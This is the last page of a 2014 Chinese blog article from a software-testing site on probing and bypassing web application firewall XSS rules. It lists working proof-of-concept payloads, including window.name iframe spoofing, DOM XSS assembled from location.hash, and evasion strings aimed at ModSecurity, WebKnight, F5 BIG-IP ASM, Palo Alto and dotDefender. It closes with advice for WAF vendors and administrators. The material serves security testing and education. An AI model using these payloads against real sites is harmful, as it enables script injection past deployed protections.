XSS现代WAF规则探测及绕过技术

发表于:2014-7-02 11:30

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:seiitsu    来源:51Testing软件测试网博客

  Window.name欺骗
  情景:我们用iframe加载一个页面,我们可以控制窗口的名称,这里也可以执行javascript代码
  POC
  <iframesrc=&#039;http://www.target.com?foo="xss  autofocus/AAAAA  onfocus=location=window.name//&#039;
  name="javascript:alert("XSS")"></iframe>
  DOM型XSS
  服务器不支持过滤DOM型的XSS,因为DOM型XSS总是在客户端执行,看一个例子:
  <script>
  vari=location.hash;
  document.write(i);
  </script>
  在一些情况下,反射型XSS可以转换成DOM型XSS:
  http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
  上面的POC只在[.+都被允许的情况下适用,可以使用location.hash注入任何不允许的编码
  Location.hash[1] = :  // Defined at the first position after     the hash.
  Location.hash[2]= (  // Defined at the second position after     the has
  Location.hash[3] = ) // Defined     at third position after the hash.
  如果有客户端过滤可能不适用
  绕过
  ModSecurity绕过
  <scri%00pt>confirm(0);</scri%00pt>
  <a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B&#039;>rhainfosec
  参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
  WEB KNIGHT绕过
  <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
  <marquee/onstart=confirm(2)>
  F5 BIG IP ASM and Palo ALTO绕过
  <table background="javascript:alert(1)"></table> //IE6或者低版本Opera
  “/><marquee  onfinish=confirm(123)>a</marquee>
  Dot Defender绕过
  <svg/onload=prompt(1);>
  <isindex action="javas&tab;cript:alert(1)" type=image>
  <marquee/onstart=confirm(2)>
  结论
  黑名单方式永远不是最好的解决办法,但是相对与白名单效率很高,对于WAF供应商来说,最好的实践如下:
  1、开发者和管理员要注意WAF只能缓解攻击,并且针对已知的弱点的防护只是和源代码修复的方法打个时间差;
  2、要保持WAF的规则库更新;
  3、WAF可以配置参数限制,需要提供手册用于配置参数content-length最大最小长度,content-type类型,在入侵时进行告警;
  4、如果WAF依据黑名单,要确保可以阻断已知的浏览器BUG,并且相应规则库要及时更新。
44/4<1234
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号